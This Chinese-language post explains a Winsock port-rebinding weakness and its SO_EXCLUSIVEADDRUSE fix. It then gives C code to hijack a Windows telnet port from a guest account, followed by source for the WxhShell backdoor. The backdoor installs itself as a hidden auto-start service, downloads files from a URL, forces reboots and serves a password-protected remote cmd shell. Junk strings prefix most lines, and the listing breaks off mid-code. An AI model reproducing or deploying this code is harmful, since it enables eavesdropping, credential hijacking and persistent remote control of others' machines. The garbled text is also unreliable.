在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
[?>\] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
[&(~{#}M: j+"w2 saddr.sin_family = AF_INET;
S:(YZ%# "ov270: saddr.sin_addr.s_addr = htonl(INADDR_ANY);
8
$qj&2 N xeNj@\jdC5 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
NHaY&\ /SW*y@R2l 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!jWE^@P/B ,ZV>"'I: 这意味着什么?意味着可以进行如下的攻击:
7Is:hx|: ]9$iUA%Ef 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
a^o'KN{ ;mT 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
+)xjw9b *fCmZ$U:{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
XCyU)[wY vSnGPLl 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
(S~kNbIa Z% DJ{!Hnh 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@{>0v"@ !8e;3W 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:%-w/QwTR ~pT1,1 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
g@2KnzD $GR
rT C! #include
B#DnU;=O#+ #include
(kTu6t* #include
Kn=0AdM #include
"&:H }Jd DWORD WINAPI ClientThread(LPVOID lpParam);
xx@[ecW int main()
hmkm^2 {
=Y- .=}jp; WORD wVersionRequested;
bj6;>Ezp3( DWORD ret;
d&* c3F WSADATA wsaData;
=PF2p'.o BOOL val;
hd*GDjmRQ/ SOCKADDR_IN saddr;
t6uYFxE SOCKADDR_IN scaddr;
ds2%i
int err;
ZkJLq[:cM SOCKET s;
A.vf)hO SOCKET sc;
PI.Zd1r int caddsize;
Z;<:=# HANDLE mt;
KKq%'y)u^ DWORD tid;
lc8g$Xw3 wVersionRequested = MAKEWORD( 2, 2 );
OdbXna err = WSAStartup( wVersionRequested, &wsaData );
R<B5<!+ if ( err != 0 ) {
esiU._:u printf("error!WSAStartup failed!\n");
kRjNz~g return -1;
;}Ei #T,D }
",xTgB3?V saddr.sin_family = AF_INET;
bvOnS0,y _N {4Rs0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
&]h`kvtBC d6a3\f saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
YkFAu8b> saddr.sin_port = htons(23);
C*}PL if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
d#OAM;0}5 {
d_,Ql708f printf("error!socket failed!\n");
!w}b}+]GB return -1;
j1;<3)%0 }
DRpFEWsm val = TRUE;
+[R^ ?~VK //SO_REUSEADDR选项就是可以实现端口重绑定的
;X^#$*=Q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
@eM$S5&n$ {
i)$P1h printf("error!setsockopt failed!\n");
?7]G)8G6 return -1;
0l3[?YtXc }
K {kd:pr //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"=w:LRw //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Er;q s *f //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
F$-f j "jC #M||t|9iu? if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
l$Vy\CfK3n {
xL*J9&~iG ret=GetLastError();
HC}vO0X4 printf("error!bind failed!\n");
ufe|I return -1;
5E]iv^q% }
`Se2f0", listen(s,2);
otdRz<C while(1)
z4 <_>)p {
O,Tp,wT caddsize = sizeof(scaddr);
q9dplEe5 //接受连接请求
Zs]n0iwM'@ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
BT&R:_: if(sc!=INVALID_SOCKET)
gxhdxSm=2 {
+HPcvu?1 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
k33\;9@k if(mt==NULL)
P z~jW):E {
#IZ.px printf("Thread Creat Failed!\n");
064k;|>D break;
RcO"k3J }
tfe]=_U }
",&QO7_ CloseHandle(mt);
F b?^+V]9 }
{_-T! yb closesocket(s);
w\MWr+4 WSACleanup();
oN[}i6^,e return 0;
B$6KI }
?HRS* DWORD WINAPI ClientThread(LPVOID lpParam)
`Th~r&GvF {
(6B; SOCKET ss = (SOCKET)lpParam;
4D2U,Ds
SOCKET sc;
bf@g*~h@ unsigned char buf[4096];
Z1jxu;O( SOCKADDR_IN saddr;
f=k#o2 long num;
=.7tS' DWORD val;
IA<>+NS DWORD ret;
HHZw-/s,% //如果是隐藏端口应用的话,可以在此处加一些判断
xVw@pR; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.;Mb4"7= saddr.sin_family = AF_INET;
(~eS$8>. saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
_7\`xU saddr.sin_port = htons(23);
sQ340! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
aoZ |@x {
p5$}h,7 printf("error!socket failed!\n");
QRvyaV return -1;
Pc*lHoVL }
p:TE## val = 100;
YHO}z}f[! if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Zj!,3{jX^ {
"5L?RkFi\ ret = GetLastError();
r-wCAk}m*? return -1;
%'ah,2a% }
'5Yzo^R; if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
jhf#
gdz% {
L /:^;j`c ret = GetLastError();
\#(1IC`as return -1;
_qR?5;v }
CV\^gTPmx if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
:>.{w$Ln% {
nKzm.D gt_ printf("error!socket connect failed!\n");
W03mdRW closesocket(sc);
'KIT^k0"Ih closesocket(ss);
FJDC^@ Ne return -1;
*djLf.I@ }
:`NZD while(1)
XrM+DQ; {
Gn=b_! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
NdRcA //如果是嗅探内容的话,可以再此处进行内容分析和记录
_,!0_\+i //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
>#$SaG! num = recv(ss,buf,4096,0);
x;)I%c if(num>0)
?tY+P`S send(sc,buf,num,0);
u>)h else if(num==0)
2zqaR[C break;
SFRP
?s num = recv(sc,buf,4096,0);
Bkd$'7UT if(num>0)
w")
G:K send(ss,buf,num,0);
)-_^vB else if(num==0)
3 nG.ah break;
t*9 gusmG }
3!b
$R?kZ closesocket(ss);
$/s"It closesocket(sc);
lwq:0Rj@Q return 0 ;
L4Zt4Yuw }
aSvv(iV !Z tqh Xr 5PO_qr=Hx ==========================================================
TdgK.g 4 O\.^H/ 下边附上一个代码,,WXhSHELL
%h@1lsm1+ !{r2`d09n) ==========================================================
_i {Y0d+ b'\Q/;oz> #include "stdafx.h"
Q3tyK{JE y<kUGsD #include <stdio.h>
Rb L?( #include <string.h>
c 9f"5~ #include <windows.h>
r@3-vLI!u #include <winsock2.h>
}lIc{R@H #include <winsvc.h>
-DdHl8 #include <urlmon.h>
*sOb I(& 0WC\uxT7 #pragma comment (lib, "Ws2_32.lib")
{ogBoDS #pragma comment (lib, "urlmon.lib")
gMI%!Y }yK7LooM #define MAX_USER 100 // 最大客户端连接数
wHbkF#[:i #define BUF_SOCK 200 // sock buffer
w2.]
3QAZ #define KEY_BUFF 255 // 输入 buffer
$U*eq[
kScZP8yw #define REBOOT 0 // 重启
-n.m "O3 #define SHUTDOWN 1 // 关机
(p{%]M 8In\Jo$|q> #define DEF_PORT 5000 // 监听端口
i"}z9Ae~. ]0."{^ksL #define REG_LEN 16 // 注册表键长度
UsyNn39 #define SVC_LEN 80 // NT服务名长度
Ob/)f)!! \1!Q.V // 从dll定义API
6p4BsWPx typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
D+3?p typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
20V~?xs~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
= g{I`u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
`f; w $_"u2"p // wxhshell配置信息
Mwnr4$] struct WSCFG {
SvM\9 int ws_port; // 监听端口
QFx3N% char ws_passstr[REG_LEN]; // 口令
!b+4[xky int ws_autoins; // 安装标记, 1=yes 0=no
Zu.hcDw1 char ws_regname[REG_LEN]; // 注册表键名
LZn'+{\` char ws_svcname[REG_LEN]; // 服务名
aDdGhB char ws_svcdisp[SVC_LEN]; // 服务显示名
@}Hu)HO char ws_svcdesc[SVC_LEN]; // 服务描述信息
;stuTj@vH char ws_passmsg[SVC_LEN]; // 密码输入提示信息
k`m7j[A]l int ws_downexe; // 下载执行标记, 1=yes 0=no
btuG%D{a^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Bib<ySCre char ws_filenam[SVC_LEN]; // 下载后保存的文件名
i]r(VKX )$:1e)d };
8X7??f1;Y $\BYN=# // default Wxhshell configuration
@!P2f
struct WSCFG wscfg={DEF_PORT,
W^[FWFUTY "xuhuanlingzhe",
Y/5M)AyJt 1,
~o!-[ "Wxhshell",
%*gf_GeM "Wxhshell",
&YXJ{<s "WxhShell Service",
"tCTkog3] "Wrsky Windows CmdShell Service",
WiytHuUF "Please Input Your Password: ",
PT2;%=f 1,
?$6H',u "
http://www.wrsky.com/wxhshell.exe",
{nV/_o$$ "Wxhshell.exe"
49; 'K };
F"]P| - Z,Qj"V // 消息定义模块
G]>yk_#/\U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
KrpIH6 char *msg_ws_prompt="\n\r? for help\n\r#>";
*&I>3;~%^} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2%pED
xui char *msg_ws_ext="\n\rExit.";
'0D$C},^|8 char *msg_ws_end="\n\rQuit.";
Bu(51wU8 char *msg_ws_boot="\n\rReboot...";
C#U(POA char *msg_ws_poff="\n\rShutdown...";
qi4P(s-i char *msg_ws_down="\n\rSave to ";
vUpAW[[ ^!1!l- char *msg_ws_err="\n\rErr!";
">bhxXeiN char *msg_ws_ok="\n\rOK!";
^Gk`n M1kA- Xr char ExeFile[MAX_PATH];
Q~U\f$N int nUser = 0;
j?2~6W/[ HANDLE handles[MAX_USER];
UGPDwgq\v int OsIsNt;
V.*TOU{{xh pt<zyH3Z SERVICE_STATUS serviceStatus;
X+;[Gc}(W SERVICE_STATUS_HANDLE hServiceStatusHandle;
?Zb+xN KJ( 3NpB1lgh&: // 函数声明
i5}Z k r int Install(void);
DO:,PZX int Uninstall(void);
bCw{9El!K4 int DownloadFile(char *sURL, SOCKET wsh);
?#K.D vGJ int Boot(int flag);
V9oBSP'kt void HideProc(void);
GY]P(NU int GetOsVer(void);
?),b902C int Wxhshell(SOCKET wsl);
|Vpp'ipr void TalkWithClient(void *cs);
OMLU ;,4 int CmdShell(SOCKET sock);
^>IP"k F int StartFromService(void);
H3rA
?F#+* int StartWxhshell(LPSTR lpCmdLine);
=p@`bx 7S{qo&j' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
P-\f-FS VOID WINAPI NTServiceHandler( DWORD fdwControl );
|owr?tC a4,V(Hlm // 数据结构和表定义
EwPrh SERVICE_TABLE_ENTRY DispatchTable[] =
&ys>z<Z
{
Q>{$Aqc,e {wscfg.ws_svcname, NTServiceMain},
L)JB^cxf {NULL, NULL}
.t@|2 };
,clbD4 #kC~qux^ // 自我安装
~71U s int Install(void)
;JkSZs3 {
Ce}`z
L char svExeFile[MAX_PATH];
=d{6=2Pt HKEY key;
4zMvHe strcpy(svExeFile,ExeFile);
Ms!EK ws0qwv# // 如果是win9x系统,修改注册表设为自启动
?6:qAFw if(!OsIsNt) {
M|DMoi8x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
u} mj)Nk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Av.tr&ZNb RegCloseKey(key);
Y7t#)? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
A 6S0dX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
='m$O RegCloseKey(key);
8oX1 F(R return 0;
]\M{Abqd{ }
x4q}xwH }
v}$Q }
tRoSq;VrS else {
At.&$ t mo| D // 如果是NT以上系统,安装为系统服务
5T;LWS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
eGEwXza 4 if (schSCManager!=0)
Jh\KVmfXN {
&nmBsl3Q. SC_HANDLE schService = CreateService
f-F=!^. (
+fVv H schSCManager,
{lds?AuK wscfg.ws_svcname,
2w.FC wscfg.ws_svcdisp,
u nv:sV#b SERVICE_ALL_ACCESS,
[\ao#f0WR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
{"wF;*U.V SERVICE_AUTO_START,
ZG=]b% SERVICE_ERROR_NORMAL,
UdO8KD#r3 svExeFile,
SP%X@~d NULL,
:xsZz$ NULL,
[PIMG2"G NULL,
i<ES/U\ NULL,
UPfE\KN+p# NULL
M}|(:o3Yo );
07.p
{X R if (schService!=0)
lju5+0BSb {
2y!n c% CloseServiceHandle(schService);
m^ xTV-#l@ CloseServiceHandle(schSCManager);
e)e(f"t6Q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
qR@ESJ_ strcat(svExeFile,wscfg.ws_svcname);
TZgtu+& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
E^-c,4'F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|P5dv>tb
F RegCloseKey(key);
Oa/^A-'Q return 0;
+p\E%<uQ }
Wg}KQ6
6 }
>|SIqB<%: CloseServiceHandle(schSCManager);
-m`|S q }
d8wGXNd7B }
8>C4w 5kF B
/;(#{U; return 1;
v^&HZk=( }
tiZH;t';< \:m~
+o$<- // 自我卸载
c^W;p2^ int Uninstall(void)
q-z1ElrN7u {
?AFb& HKEY key;
?\\wLZ 8-G )lyfj if(!OsIsNt) {
2* g2UP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=Z+^n
?" RegDeleteValue(key,wscfg.ws_regname);
^2'Y=g> RegCloseKey(key);
Y][12{I{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
LW<LgN"L- RegDeleteValue(key,wscfg.ws_regname);
&kb~N- RegCloseKey(key);
gvc@q`_] return 0;
gclj:7U }
*B&P[n }
'dj3y/
k% }
':4ny]F else {
4u5j
7`O q[Ai^79 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
aqSOC(jU if (schSCManager!=0)
oRbWqN`F. {
5RLO}Vn] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Szzj9K if (schService!=0)
;<i
u*a {
Be{@ L if(DeleteService(schService)!=0) {
Pim CloseServiceHandle(schService);
?^|[Yzk CloseServiceHandle(schSCManager);
gV]4R"/ return 0;
IgbuMEfL }
8>x5| CloseServiceHandle(schService);
[],[LkS }
'ON/WKJr|W CloseServiceHandle(schSCManager);
le5@WG/x }
URVW5c }
5j`sJvq 8$-MUF, return 1;
T.#_v#oM }
rRevyTs 'wPX.h? // 从指定url下载文件
^$oa`B^2JM int DownloadFile(char *sURL, SOCKET wsh)
S[L@8z.Sj {
O+-+=W HRESULT hr;
pqg2#@F. char seps[]= "/";
=)bOteWM char *token;
N~|f^#L char *file;
q;AD#A|\ char myURL[MAX_PATH];
OG#^d5( char myFILE[MAX_PATH];
lZwjrU| _ C 9%bD strcpy(myURL,sURL);
7Ydqg& token=strtok(myURL,seps);
Ow-ejo while(token!=NULL)
lz=DGm
{
pKLcg"{[F file=token;
W<<G
'Km token=strtok(NULL,seps);
6`9QGi,) }
pRfKlTU\
k[mp( GetCurrentDirectory(MAX_PATH,myFILE);
Z(:\Vj" strcat(myFILE, "\\");
(B\Kb4m strcat(myFILE, file);
y1 a%f.F` send(wsh,myFILE,strlen(myFILE),0);
zDYJe_m ~ send(wsh,"...",3,0);
=F[M>o hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
!wAnsK if(hr==S_OK)
azmeJpC return 0;
ydD:6bBX else
]9@4P$I return 1;
Rs<S}oeLn qo9&e~Y<G }
>0kL9_9{ <2*+Y|Lk2 // 系统电源模块
23LG)or.JC int Boot(int flag)
K;/f?3q {
,JH*l:7 HANDLE hToken;
#NT~GhWFf TOKEN_PRIVILEGES tkp;
LEKE+775 a3A-N] ;f if(OsIsNt) {
^Ip\`2^u OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
uEPm[oyX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Le~D"d8 tkp.PrivilegeCount = 1;
o< b tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
pe[huYE AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
{{A=^rr%C if(flag==REBOOT) {
`mkOjsj & if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
:V8oWMY return 0;
:TrP3wV_ }
'\H
& EJ' else {
>a@1y8B if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
uYTyR;a return 0;
^p4`o> }
\R&ZWJKh }
>CCy2W^W else {
aQhT*OT{Q if(flag==REBOOT) {
rDaiAx& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
b0f6?s return 0;
|{MFo) }
bjUe+#BL else {
"7alpjwb if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
2aivc,m{r return 0;
&}gH!5L m }
]mBlXE:Z }
#)D$\0ag BI2'NN\ return 1;
Q-_;.xy#4 }
a&)$s; !G;BYr>X // win9x进程隐藏模块
OG IN- void HideProc(void)
0Q%I[f8 {
Md:*[]<~ uF,%N HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
t2ui9:g4j if ( hKernel != NULL )
Pw|/PfG {
#SLiv pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
W*c^(W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
1%.CtTi FreeLibrary(hKernel);
~O;?;@ }
%|}7YH41 qzD return;
K(mzt[n( }
C/"Wh=h6 4>=Y@z // 获取操作系统版本
O6-"q+H) int GetOsVer(void)
F8m@mh*8> {
b4^a
zY OSVERSIONINFO winfo;
-J!k|GK#MX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Iq;a!Lya- GetVersionEx(&winfo);
#$t93EI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ZCuh^ return 1;
ng2yZ @$ else
=>C3IR/ return 0;
z81`Lhg6 }
%cc<>Hi wd:SBU~f5* // 客户端句柄模块
9hwn,=Vh) int Wxhshell(SOCKET wsl)
9NC6q-2 {
\4q1<j SOCKET wsh;
e3&.RrA struct sockaddr_in client;
ZONe}tv: DWORD myID;
VN4H+9E +>h'^/rAE while(nUser<MAX_USER)
vw
q Y;7 {
5|[\Se# int nSize=sizeof(client);
BYDOTy/%nJ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
oX]c$<w5 if(wsh==INVALID_SOCKET) return 1;
LTY(6we- S1$& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
V,9UOC,Gn if(handles[nUser]==0)
BI)$aR closesocket(wsh);
ErMA$UkJ else
k3"Y!Uha: nUser++;
_{gRCR) }
[=xO> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Y1FP |
7+p=4i^@Zs return 0;
h "r)z6Q/ }
9s6d+HhM c/}bx52>u // 关闭 socket
*}i.,4+y void CloseIt(SOCKET wsh)
F_%&,"$ {
cbA90 8@s closesocket(wsh);
8-R; & nUser--;
zTt6L6:u ExitThread(0);
z+@Jx~<i }
~|)'vK8W 93N:?B9 // 客户端请求句柄
?To r)>A' void TalkWithClient(void *cs)
~4tu*\P {
j.rJfbE|X #$>m`r SOCKET wsh=(SOCKET)cs;
A0Hs d char pwd[SVC_LEN];
C}GOwvAL> char cmd[KEY_BUFF];
H]W59-{a char chr[1];
X6@G)68 int i,j;
Ik|nL#JH] E>SLR8!Cv while (nUser < MAX_USER) {
PM%Gsy]q *9Nq^+ if(wscfg.ws_passstr) {
nz]+G2h if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6ax|EMw //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
djcCm5m //ZeroMemory(pwd,KEY_BUFF);
1vBXO bk i=0;
pEE.%U while(i<SVC_LEN) {
2V#(1Hc! '`Z5.<n7p // 设置超时
_gF )aE fd_set FdRead;
D@>^_cTO24 struct timeval TimeOut;
`=3:*.T* FD_ZERO(&FdRead);
4jl-? FD_SET(wsh,&FdRead);
Ik4U+'z6 TimeOut.tv_sec=8;
1e#}+i!a TimeOut.tv_usec=0;
$McVK>= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
J;g+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
tcf>9YsOr t|aBe7t7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
#4*~ 4/ pwd
=chr[0]; 4HK#]M>yz
if(chr[0]==0xd || chr[0]==0xa) { ceR zHq=
pwd=0; Ol'Ct'_k,"
break; r6`v-TY(/
} poYO
i++; <OEu 4,~:
} ?8Hr
9
!8U\GR `
// 如果是非法用户,关闭 socket Ytnk^/Z1L
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AA
um1xl
} Rx 4
;X
*1KrI9i
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XaV h.
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bgjo_!J+Pp
3X&}{M:Qo
while(1) { 3R[5prE<
Q0_UBm^f
ZeroMemory(cmd,KEY_BUFF); jdGoPa\
IOsitMOX:
// 自动支持客户端 telnet标准 Hinz6k6!
j=0; viT/$7`AI
while(j<KEY_BUFF) { >I3#ALF
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {?
jr
cmd[j]=chr[0]; O&?i8XsB
if(chr[0]==0xa || chr[0]==0xd) { Q!:J.J
cmd[j]=0; /K"koV;
break; d[5?P?h')
} /JfRy%31
j++; )FkJ=P0
} Og?]y ^y
VMUK|pC4K
// 下载文件 %_!YonRY|X
if(strstr(cmd,"http://")) { SAt{At
send(wsh,msg_ws_down,strlen(msg_ws_down),0); fKMbOqU_
if(DownloadFile(cmd,wsh)) VSCOuNSc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nTweQ
else LuB-9[^<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hSq3LoHV
} @O/-~,E68
else { Q0I22?
MkG3TODfHB
switch(cmd[0]) { vl<W`)'
V_?5 cwZ
// 帮助 vcnUb$%
case '?': { cbD&tsF
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [ 44d(P'
break; MMglo3
} A=/|f$s+
// 安装 q/[)Z
@&(
case 'i': { *wcb 5p
if(Install()) `w1|(Sk$h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '-tiH
else F'DO46
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FV>LD% uu
break; )pV5l|`
} "If]qX(w
// 卸载 ixZ w;+h
case 'r': { q[#2`
if(Uninstall()) -(4)lw>U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bkvh]k;F8
else /pZ]:.A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \-Mzs 0R
break; #wL}4VN
} gwtR<2,p
// 显示 wxhshell 所在路径 )2KQZMtgm]
case 'p': { |-l)$i@
char svExeFile[MAX_PATH]; %Ji@\|Zkf
strcpy(svExeFile,"\n\r"); 8|uFW7Q
strcat(svExeFile,ExeFile); ^T83E}
send(wsh,svExeFile,strlen(svExeFile),0); T> cvV
break; 2?hc94
} I6d4<#Q@L
// 重启 sf\p>gb
case 'b': { Q%61_l
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZtPq*/'
if(Boot(REBOOT)) Zb<IZ)i# 1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c=iv\hn
else { bLyU;
closesocket(wsh); <RfPd+</
ExitThread(0); [m3[plwe
} #gzY _)E
break; ;*K@8GnU
} 7/nnl0u8
// 关机 \^O#)&5 V
case 'd': { E^z\b *
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B2\R#&X.
if(Boot(SHUTDOWN)) @C]]VE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )&R^J;W$M1
else { :r%Hsur(
closesocket(wsh); Gq_rZo(@
ExitThread(0); by z2u
} [\(}dnj:
break; wg<UCmfu!
} PMER~}^
// 获取shell =SJwCT0;
case 's': { AnK-\4
CmdShell(wsh); P%`|Tu!B
closesocket(wsh); WqX#T
ExitThread(0); ]B'Ac%Rx
break; H'N$Vv2q
} ~Pq(Ta
// 退出 i[obQx S94
case 'x': { U40adP? a
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jj=0{(X
CloseIt(wsh); bvZTB<rA
break; KLqn`m`O;
} 6q^Tq {I
// 离开 "Uy==~
case 'q': { }1<_
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2,.%]U
closesocket(wsh); '\yp}r'u
WSACleanup(); 0Y7b$~n'Y
exit(1); Xq"@Z
break; B^'Uh+Y
} r?Y+TtF\e
} uYW9kw>$
} tEEeek(!
99Jk<x
k
// 提示信息 4j9
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uMW5F-~-+
} b"x[+&%i
} B{IYVviiP
7gIK+1`
return; C~\/FrO?
} 2K/+6t}
pyPS5vWG
// shell模块句柄 Of|e]GR
int CmdShell(SOCKET sock) = ~{n-rMF
{ BzFD_A>j;_
STARTUPINFO si; a|B^%
ZeroMemory(&si,sizeof(si)); XRU^7@Ylks
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9d ZE#l!Q
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }T!2IaAB
PROCESS_INFORMATION ProcessInfo; AEx|<E0
char cmdline[]="cmd"; UPtWj8h
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xgl~4
return 0; eM)E3~K:2
} ,>-Q#
Zkn$D:
// 自身启动模式 iy&*5U
int StartFromService(void) <a>\.d9#)7
{ $,+'|_0yM
typedef struct A/kRw'6
{ w3j51v` 0'
DWORD ExitStatus; ![O@{/
DWORD PebBaseAddress; IEb"tsel
DWORD AffinityMask; K*&?+_v
:
DWORD BasePriority; ]V9z)uz
